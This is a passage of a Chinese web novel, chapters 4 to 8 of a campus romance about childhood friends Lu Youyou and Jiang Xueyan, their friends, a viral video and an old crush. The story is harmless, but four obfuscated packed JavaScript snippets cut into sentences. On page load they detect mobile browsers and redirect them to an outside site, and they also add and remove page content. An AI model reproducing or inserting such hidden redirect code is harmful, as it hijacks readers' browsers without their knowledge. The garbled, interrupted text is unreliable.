“都坐啊，傻站着干什么？” 温润娴静的路悠悠走上前径直坐在沙发椅上，眼睛看向江雪岩身旁一个略显腼腆的少年。 “两位姐姐好，我是岩哥的舍友，也是他的高中同学，刘尚恩。” 少年摆摆手，笑着跟她们打招呼。他面貌清秀，一看就是乖孩子那一挂的。 被同级男生叫姐姐，莫名有种优越感，乔若溪笑嘻嘻道：“弟弟好，我叫乔若溪，是你现在的同班同学。” 路悠悠也跟着学：“弟弟好，我叫路悠悠，也是你现在的同班同学，弟弟几岁了？” 斜眼瞥着三人的江雪岩扯了扯嘴角，转头拿起笔，开始在菜单上点，但耳朵还是固执地对着她们的方向。 “我前天刚满十八岁”，刘尚恩说完，又怀疑自己把两位美女叫老了，连忙推卸责任：“岩哥说，你们比我大一点，要管你们叫姐姐。” “嗯，确实比我俩都小”。 也就小几个月而已。 路悠悠笑眯眯看向江雪岩，这家伙挺会占人家便宜的。 江雪岩伸手拿过杯子，给自己灌了一口，眼睛却一直盯着菜单，脸上写着：我很忙，你们聊。 “既然是胖子的高中同学，说明你已经在胖子的威压下艰难生存了很久了？”路悠悠笑着说。 刘尚恩愣了愣：“胖子是谁？” 路悠悠指江雪岩：“他。” “哦，岩哥怎么会……叫胖子？” “因为我认识他的时候他很胖。” “哈哈……这样啊，其实岩哥对我挺好的，除了长相之外，没什么威压的”，刘尚恩求生欲很强，刚夸完江雪岩，又开始夸她们：“两位姐姐长得也好看，我看我们信息院的院花非你们俩莫属了。” “你什么时候get的狗腿属性？”一直默不作声的江雪岩忽然出声。 “我说的不是实话吗岩哥？” 刘尚恩大大的眼睛无辜地盯着江雪岩，两个女生相视一笑，没想到江雪岩带出来的人，还懂得噎他。 江雪岩怔愣一瞬，随即马马虎虎“嗯”了一声，又继续低头点他的菜去了。 路悠悠觉得跟刘尚恩聊天挺有意思，“我看隔壁电子系有个女生，天生的美人胚子，妆也化得很精致，别说院花了，校花她也当得，我和溪溪还是默默地靠边站吧。” “你说的是不是这个女生？”一旁乔若溪点了点手机，打开校园论坛给她看：“我昨晚刷到的，有人还把她跟胖子的照片放到一起，说今年信息院终于在颜值上一雪前耻了。” 路悠悠凑近一看，点头：“就是她”。 手机屏幕上，少女站在梧桐树下，长发如墨色瀑布垂至两侧，发梢微微卷曲，肌肤冷白，唇瓣丰润，一双丹凤眼生得极好看，目光略带傲气，是那种十分张扬的美。 “我看看”，刘尚恩也站起身凑过来，“哦？这不今早上给岩哥送早餐的美女吗？” “闭上你的臭嘴吧，你不说话没人拿你当哑巴”。 明明是他自己带出来的人，但江雪岩此时显然有点烦了。 4. 第四章 “送早餐？” “送早餐！” 火锅店里热气蒸腾，人声鼎沸，牛油的香辣醇厚鲜香，弥漫在每一寸空气里。路悠悠和乔若溪激动的声音像两颗投入沸水里的冰块，骤然压过了全场的喧嚣，引得周围人们纷纷侧目。 江雪岩早已习惯了成为视线焦点，他慵懒地躺在沙发椅里，面对投来的目光，没什么大的反应，只略微皱了皱眉，长而密的睫毛垂下，在灯下拓出一小片阴影。 路悠悠和乔若溪倒是意识到了自己的失态，不过在强烈的好奇心面前，别人的目光根本不值一提。 “美女姐姐出手太快了！” “是啊，这才开学第二天！也太勇猛了吧！” 两人高中不与江雪岩同校，从没见过他被女孩子追捧的样子。 江雪岩性格沉静，平时自带一股清冽疏离的气质，像一株落雪的青松。这样的人被女孩子表白……想看！想知道每一个细节！ “要论勇猛，你也不赖”，江雪岩颇有深意地看向路悠悠，他声调不高，却带着一种独特的磁性，在这种嘈杂环境里格外清晰悦耳。 路悠悠心下一紧，知道他在影射她跟沈嘉树表白的事，这厮还真是会攻心。 好在沈嘉树在她这里已经是过去式了，虽然丢脸，但人总不能一直活在丢脸的漩涡里不是？ 路悠悠凶巴巴地瞪了江雪岩一眼，几缕碎发倏然从耳边滑落，因为激动和热气，脸颊泛着健康的红晕。一转头又笑眯眯看向刘尚恩：“快说说，到底什么情况？” 刘尚恩瞄了眼隔壁江雪岩，他本尊没什么大的反应，只拉着脸低下头翻手机，屏幕的冷光映着他棱角分明的侧脸。 读岩机：岩哥想让我继续说。 “就今早上，我和岩哥刚下宿舍楼，那女生就打着伞，袅-袅-娜-娜地提着便当盒走了过来，我一看那便当盒，哇塞，太精美了，里三层外三层的，还是粉粉嫩嫩的马卡龙颜色。” “哦！哦！哦！然后呢？胖子收了没？” 江雪岩似笑非笑看向路悠悠和乔若溪，笑起来的时候嘴角的弧度很浅，却莫名带着点揶揄：“收着点下巴，口水都快流出来了”。 “……” “别理他，你继续说。” 三人在一旁聊人家的八卦，却把人家当空气。 刘尚恩清了清嗓子，他身材瘦削，笑起来的时候眼睛弯弯的，显得格外阳光：“我岩哥，咳咳，看都没看人家，就说：‘不好意思，陌生人给的东西我从来不吃’，然后就拉着我头也不回地走了，那姑娘愣在原地，脸唰一下就白了。” “陌生人……太扎心了”，乔若溪捂住心口，她有一头柔软的栗棕色卷发，此刻随着她的动作轻轻晃动，“胖子你什么时候变得这么没礼貌了？” 虽然江雪岩平时也嘴欠，但那是对她和路悠悠，正常情况下，他还是挺有礼貌的。 “是啊，那姑娘该有多伤心啊，你说话也太狠了！”路悠悠看向对面那个“负心汉”，他正若无其事地划着手机，好像周围一切与他无关。 “这算什么，高中的时候我岩哥还跟女生说过更狠的话呢”，刘尚恩说到兴头上，根本停不下来，脸颊激动得泛着红。 两个女生也不想让他停下来：“什么话？也是对喜欢他的女生说的吗？” “嗯，当时那女生直接当着我的面问岩哥要不要试试跟她谈恋爱”。 路悠悠和乔若溪嘴巴张得大大的，江雪岩隔着蒸腾的白雾看了她们一眼，恨不得给她们一人塞一口肥牛卷。 刘尚恩假装没接到旁边江雪岩抛出来的眼刀，双臂抱胸酷兮兮道：“我岩哥说，我没打算在高中谈恋爱，那女生锲而不舍地追问，那大学呢？我岩哥说，大学可能会谈，但绝不会跟你。” “啊，我的心脏没了”，乔若溪夸张地倒在沙发靠背里，柔软的卷发陷进深色的绒布中，“胖子你的心是金刚石做的吗？大学可能会谈，但绝不是跟你，这种话你也说得出来。” 路悠悠鼓着两个腮帮子，眯着眼睛看了江雪岩一阵子：“你对喜欢你的女生都这么狠吗？就没有一个能入你眼的？” 江雪岩抬眸看着她，火锅氤氲的热气让他的眼神看起来有些朦胧，他没说话，刘尚恩替他答：“嗯，都挺狠的。” 乔若溪：“看来我要重新认识一下你了，南大校草江雪岩同志。” 路悠悠：“我也是。” 江雪岩轻抬眼皮，懒懒道：“反正都要拒绝，难道还要带人家去吃顿饭？早死早超生。” “……” 饭桌上安静了一瞬，只有火锅在不知疲倦地沸腾。乔若溪点点头道：“你说得似乎也有道理，但我就是怜香惜玉啊，姑娘们好惨！” 江雪岩把菜单递过来，骨节分明的手在菜单的映衬下更显白皙：“那两位大小姐还吃得下火锅吗？” 乔若溪顺手接过，拿起笔开始在菜单上打勾，“火锅还是吃得下的，毕竟校草拒绝的也不是我。” 话刚出口，乔若溪就后悔了。她转头，果然看到路悠悠在发呆。 糟了，她心道。 如果要评选女孩子表白后被拒绝得最惨的那一个，路悠悠当之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507442|186140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无愧。 乔若溪拉了拉路悠悠的胳膊：“悠悠，咱俩去调料碗吧？” 路悠悠回过神来，扯出一个笑：“好。” 待走到琳琅满目的调料区，乔若溪小声问路悠悠：“你刚刚是不是想到狗屎了？” 狗屎，意指沈嘉树。 “嗯”，路悠悠点头，拿起一个小碗，无意识地舀了一勺香菜，“沈嘉树当初拒绝我，可谓一招见血封喉，你说他们男生是不是都觉得拒绝得越狠越好？” “那要看人”，乔若溪凑近她，语重心长地开始发表她的长篇大论：“胖子拒绝的那些女生跟他不熟，没什么情分可言，但沈嘉树不一样，他可是你同桌，平时你俩关系不错，你跟他表白，他什么想法可以好好说嘛，拉刘绫过来往你心上踩是什么意思，太过分了，简直不是人能干出来的事，我跟你说，没跟他扯上关系，绝对是你八辈子修来的福分！” “你说得对”，路悠悠仰头一笑，谁的青春还没遇到几个渣男，“调料碗吧，不说他了。” “嗯。” 两人刚说完，路悠悠就感觉自己兜里的手机震了一下，她拿出来一看，居然是江雪岩发来的消息—— 基因突变：［沈嘉树跟我可不一样，既没良心，也没风骨，你别又傻到把他想成一个正常人，反过来挑自己的刺］ 路悠悠弯了弯嘴角，以前怎么没发现他这么会察言观色？ 她转头往江雪岩所在的方向瞥了一眼，隔着几张桌子，江雪岩像是心有灵犀，也抬头望向了她。他坐在暖黄的灯光下，周身仿佛镀了一层柔和的光晕。 四目相对，路悠悠瞬间就读懂了他眼中那份不言自明的肯定和鼓励。 多年的默契像一道温暖的溪流，缓缓淌过心间，路悠悠瞬间觉得自己精力充沛。 鬼使神差般，她冲他扬扬头，吐了吐舌头，像极了微信表情包里那个“略略略”的小兔子，灵动又狡黠。 江雪岩看着她，没忍住笑开了花，他的右颊现出一个梨涡，耀眼如盛夏的阳光。 路悠悠很快便强迫自己收回了视线，低头去调料碗。 太好看了，这家伙长高变瘦以后真的太好看了，尤其是笑起来的时候，眼睛里泛着温柔的光，像夜晚一闪一闪的星光，耀得人心头发颤。 “岩哥，你喜欢路姐姐吧？” 刘尚恩忽然凑过来道。 江雪岩猛然收回眼角漾出的涟漪，转头一个眼刀射向刘尚恩。 刘尚恩早就做好了准备，身子极速后倾，求生欲极强地冲他摆手：“放心，我绝不会说出去的！” 5. 第五章 江雪岩淡定抓起桌上的筷子，笑盈盈盯着刘尚恩，平静地道：“我知道你不敢。” 话音刚落，只听“咔嚓”一声，他手里的筷子应声而断，细碎木屑簌簌落在白色桌面上。 刘尚恩：“……” 空气仿佛凝滞了片刻。刘尚恩挤出一丝干笑，正要举手发誓，江雪岩放在桌上的手机适时亮起。 “岩哥，有消息”，刘尚恩悄悄放下刚要抬起的手，望着窗外霓虹初现的街景暗自松了口气。路灯在渐沉的夜色里明明灭灭，也不知是哪个大善人发来的消息，刚好救了他一命。 江雪岩眸色深沉转头，看到界面飘过一条微信消息—— 路痴：［早祛魅了，放一百个心吧！］ 他拿起手机，目光在那一瞬间忽然变得柔和起来，像初雪消融的湖面。刘尚恩见他修长手指迅速在屏幕上点了几下，等他放下手机再转头时，脸上已堆满傲娇，连微微上挑的眼尾都藏着星光。 “改天再跟你算账！” 他扬起下巴，眼底漾着掩不住的悦色。 读岩机刘尚恩谄媚一笑，心下了然：岩哥没发火，说明这事就过去了，而且，说明…… 很快，路悠悠脚步轻快地端着两个料碗回到了桌子上，她把右手的碗放到江雪岩面前，眉梢轻挑：“这是本姑娘赏你的。” 江雪岩没说话，只默默伸手将碗拉近，腕骨在灯光下划出利落的弧度。 刘尚恩瞅见那只盛了半碗香油的料碗，立刻堆起笑脸讨好道：“路姐姐真不愧是岩哥的发小，连他吃火锅只蘸香油的习惯也知道得一清二楚。” 路悠悠粲然一笑：“这有什么，又不是什么秘密。” 刘尚恩还想接话，忽然感觉有人在桌子底下踢了自己一脚。 不用想，刘尚恩也知道是谁。 他识相地把没说出口的话咽了回去，悻悻端起茶杯抿了一口。白瓷杯沿升起的热气模糊了他的视线，他刚刚并没有暴露什么啊，岩哥是不是太过小心翼翼了？ 算了算了，今天已经戳破了人家隐藏了不知多少年的心事，还是见好就收吧。 他讪讪起身，抿了一个不大好意思的笑：“我也去调个料碗，你们先聊”。 路悠悠完全没发现两人之间的小旮旯，爽快应道：“好嘞！”声音清脆如檐下风铃。 刘尚恩点点头，逃也似的走向了他的料碗台子。 坐定之后，路悠悠才从兜里摸出手机，查看方才未读的消息—— 基因突变：［嗯，我放心了。］ 她眨了眨眼，又仔细确认一遍：［嗯，我放心了。］ 她说她对沈嘉树早祛魅了，江雪岩居然破天荒地没有抓住机会疯狂怼她，而是说他放心了？ 不习惯，真不习惯。 不止不习惯，还有点怪怪的。 路悠悠鼓着两个腮帮子看向窗外，迫使自己清空脑子里那一点点胡思乱想的情绪。趁乔若溪和江雪岩聊天的功夫，她抽空回复了爸妈发来的消息。 等她放下手机再抬头时，发现自己碗里的辣酱不知何时被江雪岩薅去了大半。 “你干什么？你不是只蘸香油的吗？”路悠悠眼睛眯成一条缝，瞪着江雪岩。他漫不经心把玩筷子的模样，在氤氲热气里显得格外欠揍。 “我换口味了，不行？”江雪岩脸上丝毫没有半点愧疚感。 路悠悠撇撇嘴，拿起自己的碗，起身砰一下放到江雪岩面前：“那你再去给我调一点辣酱，这太少了，吃不过瘾。” 江雪岩挑眉，颇有深意地道：“上次是哪个说不过瘾来着，喝奶茶的时候非要配着辣条，结果……” 结果胃疼了半个小时，还是他出门买了奥美拉挫和热水袋回来，现场给她吃了，敷了半天肚子才缓过劲来。 记忆里那个蜷缩在沙发上的身影与眼前人重叠，他眼底掠过一丝难以察觉的温柔。 路悠悠表情一僵，又乖乖把自己的料碗从他面前拿了回来，“算了算了，不跟你计较了。” 另一边，刘尚恩暗中观察半晌，乖巧地凑过来加了乔若溪和路悠悠的微信。 好友刚通过，乔若溪就收到他的私信—— 恩：［若溪姐姐，我岩哥对路姐姐一直都这样霸道吗？］ 乔若溪抬头，对上刘尚恩闪烁着八卦之光的双眼。她抿嘴一笑，低头回复：［也不算经常，偶尔］ 恩：［哦，懂了］ 乔若溪放下手机，笑嘻嘻给刘尚恩捞了勺牛肉卷，心道：我磕的CP，并不是我一个人的CP。 一顿火锅吃得酣畅淋漓，刘尚恩性子直率又有分寸，很快便与三人打成一片。 窗外夜色渐浓，店内的喧嚣如同退潮般一点点平息下来，随着时间流逝，三人组在一个暑假积攒的距离感也消失得无影无踪。 快散场时，乔若溪忽然拍案而起，腕间银镯撞出清脆声响：“差点忘了，我有件大事要跟你们商量。” 三人齐齐望向她：“什么大事？” 乔若溪狡黠一笑：“你们想不想创业致富？” “致富？！”刘尚恩眼睛瞬间亮了。 他家境一般，父母平时又很节俭，为了多挣点大学生活费，一家三口一个暑假都在忙着打零工，此时听乔若溪说要搞钱致富，他表现得比谁都兴奋。 “若溪姐姐，怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507443|186140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个致富法？” 乔若溪：“我们来做自媒体公众号怎么样？” “那要做什么方向？” “青春旋律，大学生活”，乔若溪打开手机摄像头，镜头在江雪岩和路悠悠脸上转了一圈，“主拍校草和卷王。” “……” * 几天后，乔若溪发了她的第一条创业视频。 题目：南大军训霸王花 视频内容： 路悠悠笑容甜美，身姿挺拔，甩了甩及肩的波波头短发，发梢在九月的阳光下泛起栗色光泽。她稳步跑到了起跑线中央，迷彩短袖衬得她脖颈修长。 “预备……” “砰！” 发令枪声撕裂空气，路悠悠和另外十几名女生同时应声而出，个个如离弦之箭。 “这十五个女生是从南大今年的大一新生中选拔出来的长跑健将，她们正在进行女子组800米友谊赛。” 随着镜头慢慢拉远，乔若溪的声音适时出现。 随即画面流畅而精准地切至一道与众不同的身影——路悠悠。 阳光勾勒着她奔跑的轮廓，短裤短袖十分合身，显露出青春特有的流畅而富有生命力的线条。 她并未如他人一般争先恐后，而是不紧不慢地向前跑着，偶尔转头微笑看一眼镜头，清澈的目光像是浸了水的月亮，能瞬间软化周遭的空气。 “美女学霸路悠悠同学，听说你在高中时不仅是稳定的年级第一名，还是一位出色的体育健将，可以和大家分享一下心得吗？” 镜头突然对准，路悠悠明显愣了一下，旋即她扬起嘴角，朝镜头洒脱甩下一句：“好汉不提当年勇！”便绕道加速，身影轻捷地融入了跑道上的队伍。 视频里很快传来乔若溪的鹅叫声…… 镜头很快转到了冲刺阶段，跑道上的竞争已趋于白热化。 路悠悠与另一名女生并肩领先，将其他选手远远甩在身后。 路悠悠拼尽全力向前飞奔着，短发在风中激烈地飘动，每一次呼吸似乎都带着灼热的温度，脸颊泛起运动后的红晕，早先的白皙已被蓬勃的血色取代。 在离终点线还有十米多的地方，路悠悠猛地挺起胸膛，以一种决绝的姿态，咬牙冲了过来。 一秒，两秒……红色的丝带随着周围欢呼声被路悠悠撞落在地，巨大的惯性让她踉跄着又向前跑了十多米，步伐已然不稳。 就在此时，一道挺拔的身影迅速迈入跑道，稳稳伸手扶住了她。 最后一个镜头，传说中的奶茶状元拿出备好的运动饮料，修长手指利落地拧开瓶盖，贴心地将瓶子递到路悠悠面前…… 6. 第六章 “天哪！这才过去几个小时，播放量已经破六万了！” 军训刚结束不久，下午六点的夕阳斜斜洒下，将操场染成一片暖金色。两道倩影行走在光芒中，乔若溪迫不及待地掏出手机，当看到后台数据时，忍不住惊呼出声。 “六万？这么夸张？” 路悠悠把头凑过来，先前乔若溪信誓旦旦说要靠短视频创业时，她其实没抱太大期望，如今看到后台数据……似乎是她悲观了。 “真的啊！” “那可不，四个小时涨粉超四千，破纪录了！而且你看这个增长曲线——” 乔若溪兴奋地滑动着屏幕，高兴地嘴快咧到天上去了。 路悠悠脑袋歪了歪，阳光为她细腻的侧脸镀上一层金边：“这么说来，我已经被你包装成南大知名人物了？” “这还用说嘛，你可是南大校草的发小，整个评论区都在讨论校草跟你是什么关系……” “……” 路悠悠连忙拿出自己的手机，午休的时候她实在太困，倒头就睡过去了，乔若溪却趴在床上，跟刘尚恩一道在线上琢磨着怎么剪辑视频。 目前为止，路悠悠还没看过那条由她主演的、引爆全网的视频。 乔若溪在高中时期就喜欢拍各种五花八门的小视频，经常举着手机记录生活中的点点滴滴，旧账号累积粉丝两千多，也算是个小有名气的小博主。 而这个叫“悠悠雪溪流”的账号是她近期新开的，靠着在旧账号上天天吆喝才有了最初的三百多粉丝，谁曾想，第一条视频发出去就爆了。 路悠悠点开视频，先从头到尾刷了一遍，看完又把进度条往前拉了一下，重新播放最后一个场景。 乔若溪用了浪漫黄昏的特效，暖金色光芒的包围下，她和江雪岩在塑胶跑道上并排而坐。 画面中，路悠悠脸颊红扑扑的，几缕碎发被汗水黏在额角，正大口大口地喘着气。江雪岩在一旁细心给她拧开饮料瓶盖递过来，她一把抓过，仰头就给自己灌了下去，动作干脆利落，妥妥一枚不拘小节的梁山好汉。 而她身旁的江雪岩，气质与她截然不同——修长双腿在地上一曲一伸，手臂搭在膝上，指尖自然垂落，放松的姿态更显魅力十足。他的目光始终追随着她喝水的动作，嘴角噙着一抹若有若无的笑意，美得像一尊雕像。 路悠悠撇嘴，和校草同框，她怎么就显得如此粗糙…… 路悠悠指尖右移，点开评论区，清一色的“奶茶状元江雪岩”的字眼让她看得眼花缭乱—— ［奶茶状元这是名草有主了吗？他对这个路悠悠好温柔啊！］ ［我听说这个路悠悠是十一中的学霸，名气不小，长得也好看，江雪岩跟她谈恋爱也不是不可能……］ ［到底两人是什么关系啊？我舍友都快伤心死了，她每天下课都要绕远路去看校草军训的……］ ［我舍友才伤心呢，她恨不得跑去跟路悠悠决一死战，奈何跑不过人家……］ ［只有我注意到路悠悠跑步姿势特别帅气吗？］ ［这个组合我磕了！美貌校草VS运动少女！］ ［……］ “我想多了，南大名人不是我，是胖子，我现在已经成全校女生的公敌了，你有空在评论区给我解释一下”，路悠悠叹了口气，“我就说你第一条视频应该直接拍胖子嘛，说不定现在粉丝早过万了。” “那怎么行，粉丝终将会过万，但你才是我心里的第一”，乔若溪冲她眨眨眼，“没有一个男人能把你从我心里第一的位置上挤下来，校草也不行！” 路悠悠挑眉：“等你谈了恋爱就不会这么说了，小心点，别让打脸那一天来得太快。” 乔若溪摸了摸自己的脸，转头理直气壮道：“我不管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507444|186140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，谈了恋爱你也是第一，我就要拍你。” “……” 这段男人不可摧的友谊，始于三年前一个午后。 高一的时候，乔若溪的妈妈对她要求特别严，可以说令人窒息。她在学校像个只会学习的提线木偶，连别人午休的时候都在教室里做题。 同学们私下里都叫她书呆子，她的世界里没有朋友，只有无穷无尽的模拟考卷。 然而，努力跟成果有时候并不一定成正比，第一次月考，她只考到班里第十名，第二次更是滑到了十七名。 连日的疲惫、对自己的质疑和来自父母的持续压力，终于让她崩溃了，那一天，她攥着皱巴巴的试卷，躲在教学楼后面的榕树底下，埋头哭了很久很久。 当她终于哭够了，抬起头时，才发现刺眼的阳光里，站着一个身影，她微微俯身，担忧地看着她道：“你还好吧？需要帮忙吗？” 路悠悠目光里流露的善意和关怀，像一束光照进了乔若溪封闭的黑暗世界。 她知道路悠悠是年级第一，一直把她当作努力追赶的目标，可……她跟路悠悠比，差的太远了。 “我……”她哽咽着，鼓起毕生勇气：“你能告诉我，你是怎么考得那么好的吗？” “你在这里哭是因为考试没考好？” “嗯。” “别哭了”，路悠悠声音很轻，带着一种奇特的安抚力，“上次你不是帮我捡了书嘛，这次我帮你啊！” 别哭了，上次你不是帮我捡了书嘛，这次我帮你啊！ 这句话，连同路悠悠说这句话时眼中闪烁的善意和关怀，乔若溪到现在依旧记得清清楚楚。 那天以前，她跟路悠悠根本没说过几句话，至于路悠悠提到的帮她捡书，不过是她去上厕所时，恰巧看到路悠悠的书从桌子上掉下来，便顺手捡起来悄悄放到了她桌上而已…… 7. 第七章 “男人如衣服，姐妹如手足，听过没？” 乔若溪歪着头，夕阳的余晖洒在她微卷的发梢上，泛着暖暖的金色。她又强调了一遍路悠悠在她心里的分量。 路悠悠被她的话暖到，忽然也想撒个娇。她凑过去挽住乔若溪的胳膊，轻轻晃了晃，夹着嗓音说：“小溪溪，你在我心里也排第一呢！” 乔若溪看着她别扭的样子，忍不住质疑：“我怎么觉得我比不上江雪岩？” 夹子音路悠悠无辜地看着她，大大的眼睛一眨一眨，像林间受惊的小鹿：“是吗？我表现得这么明显吗？” 乔若溪受不了了，一把甩开她的手：“扎心了大姐，你起码也该装模作样地反驳一下啊！” “好吧，那你排第二。” 乔若溪：“……” “哈哈哈……” 夏末的阳光柔和似水，洒在嬉笑打闹的两人身上，像一幅流动的青春画卷。 路悠悠笑得前仰后合，一不小心竟撞进一个结实的胸膛上，硬硬的，怪硌人的。 她讪讪抬头，正对上江雪岩乌黑深邃的眼眸。 少年脖颈修长，下颌线瘦削又锋利，喉结微微滚动了一下，在夕阳下勾勒出青涩的弧度。 他眼中一闪而过的温柔，像夜空中划过的流星，让路悠悠心跳漏了一拍。 糟糕，成了年的男人，瘦下去的胖子，竟然如此吸人眼球。 她果然还是个颜控。 路悠悠心虚地往后仰了仰身子，下意识往后退去，不成想这一退又踩上了乔若溪的脚。 “哎呀！” 乔若溪一声惊呼，吓得路悠悠一时慌不择路，又被自己绊了一下，无奈只得踉跄着往侧面而去。 好在她平衡感不错，目测踉跄几步就能站稳，不曾想有人竟提前出手，揽住她的腰，把她用力往怀里带了几下。 “小心！” 低沉而略带焦急的声音掠过耳畔，等路悠悠反应过来，人已经贴到了江雪岩胸前，隔着薄薄的军训短袖，她感受到了江雪岩灼热的体温。 “……” 江雪岩起初只是怕她跌倒，下意识伸手将她揽了过来，却在触碰到她纤细柔软的腰肢时微微一怔，他又怕伤到人家，本能地伸出了另一只手…… “咔嚓！” 路悠悠两只胳膊肘正紧张地抵在江雪岩胸膛无处安放，一转头，却见乔若溪拿着手机，笑嘻嘻地给她和江雪岩拍了一张照片。 “……” “你干嘛！” 话一出口，路悠悠才发现自己语气有点像撒娇，又尴尬地推了推江雪岩，示意他放开自己。 江雪岩很快松手，但乔若溪手更快，一瞬间又抓拍了好几张。 “删掉！这个可不能发到网上，不然我会被全校女生的唾沫星子淹死”，路悠悠不敢看江雪岩，只凶巴巴地瞪着乔若溪吼。 “放心啦，就留个纪念，不发不发”，乔若溪笑眯眯转向江雪岩，“胖子，你是练家子吧？这身手，完全不输一线武打明星啊！” “练过一点”。 “真练过啊？” 江雪岩双手插兜，背对着她们往前走往前走，夕阳将他的影子拉得很长：“下次注意一点，走个路都能摔倒，真是除了傻子再没谁了。” 路悠悠：“……” “你骂谁傻子呢！” 江雪岩自顾自往前走，不再回应。 “看到没？他耳根都红了”，乔若溪凑到路悠悠耳边：“跟你的脸一样。” 路悠悠一把把乔若溪推开，想骂她，又一时想不到词，憋了几秒，气呼呼地迈开步子往江雪岩的方向追去，顺带用余光瞥了一眼他的耳根。 确实有点红。 “晚饭去吃啥？” 乔若溪觉得自己再发挥下去真要被路悠悠揍了，识趣地转移了话题。 “不吃，先去洗澡。” 洗个澡似乎就能洗掉记忆了，路悠悠觉得自己浑身上下都沾着江雪岩的薄荷气息，呛得她有点头昏脑胀的。 乔若溪没应她，反而冷不丁地朝一旁喊——“这位同学你傻愣着看啥呢？没见过美女吗？看什么看！” 路悠悠又走了几步，才意识到她这话不是在跟自己说。 她停下步子回头一看，看到沈嘉树站在路边，正直勾勾盯着自己，黯淡无光的眼神里莫名透着股怨恨。 “你跟江雪岩……是什么关系？” 沈嘉树突然开口，声音低沉，路悠悠诧异地看向他，不知他此时又想干什么。 “跟你有关系吗？”乔若溪替抢先一步挡在路悠悠身前，语气里带着压抑不住的怒意，却又隐隐透着几分痛快，“江雪岩跟悠悠什么关系，用得着跟你汇报？” 沈嘉树抿了抿唇，目光越过乔若溪，深深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507445|186140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地望了她身后的路悠悠一眼，眼神里满是无奈与落寞。 “她说得对”，路悠悠轻轻拍了拍乔若溪的肩膀，语气平静而疏离：“这跟你没有半毛钱的关系，走吧溪溪，回去洗澡了。” 沈嘉树独自一人站在原地，晚风拂过他微乱的发梢。他望着路悠悠和乔若溪牵手远去的背影，视线尽头，香樟树下，那个备受瞩目的少年在等着她们。 三人汇合后说笑着渐行渐远，只留他一人伫立在渐浓的暮色里…… 南大新生宿舍配备独立卫浴，晚上，江雪岩刚冲完澡，随意搭着条毛巾出浴室门，就听见手机连续响了几声。 他原本打算先擦头发，一低头忽然想到了什么，大步流星走到桌旁抓起手机，任由发梢的水珠滴落在手机屏幕上。 乔若溪的消息映入眼帘：［这些照片送给你留个纪念，本姑娘的抓拍技术很好吧？］ 他上衣还没穿，水珠顺着结实的胸肌滑落，他随手抽了张纸巾擦干屏幕，指尖轻点，五张连拍的照片瞬间铺满屏幕——每一张都捕捉到了那个意外的拥抱。 “卧槽岩哥，老铁树开花了啊，你居然会对着手机傻笑！” 正在打游戏的刘尚恩一回头，竟看到江雪岩拿着手机盯着屏幕傻笑，惊得连游戏都忘了操作。 “一边去，这跟你没有半毛钱的关系”，江雪岩头也不抬，语气嫌弃，眼底的笑意却藏不住。 刘尚恩：“是不是路姐姐答应跟你谈恋爱了？” 江雪岩脸上的笑容一滞，长腿一伸，隔着半远踢了下刘尚恩的椅子：“滚！” …… 而此时，路悠悠正躺在床上惬意地刷着小视频。乔若溪的消息弹出来时，她顺手一点，下一秒整个人都僵住了。 照片上，江雪岩将她稳稳圈在怀里，她的发丝轻轻蹭着他锋利的下颌，两人贴得那样近，背景是斑驳的树影和柔和的夕阳光晕，像一对亲密无间的恋人。 路悠悠看着那一张张照片，仿佛听到了自己的心跳，闻到了那熟悉的清冽薄荷香味，脸颊不知不觉又烫了起来，连呼吸都开始急促。 “悠悠，睡了吗？”乔若溪的声音从下方传来。 她们宿舍是经典的上床下桌布局，下铺是清一色的书桌书架，乔若溪此时正坐在书桌前对着电脑，看不见上铺的动静。 “我P了一下照片，给你和江雪岩发过去了哦！” 8. 第八章 “江雪岩的照片？我要看我要看……” 路悠悠躲在被子里静悄悄地没吭声，底下王涵和李悦已经兴奋地叫了起来。 路悠悠生怕“私照”泄露，心下一紧张，差点掀开被子从上铺跳下去。 幸好，就在她掀开被角的一刹那，乔若溪坚定的声音从底下传来：“不行不行，这个真不能看，不然悠悠会鲨了我的！” 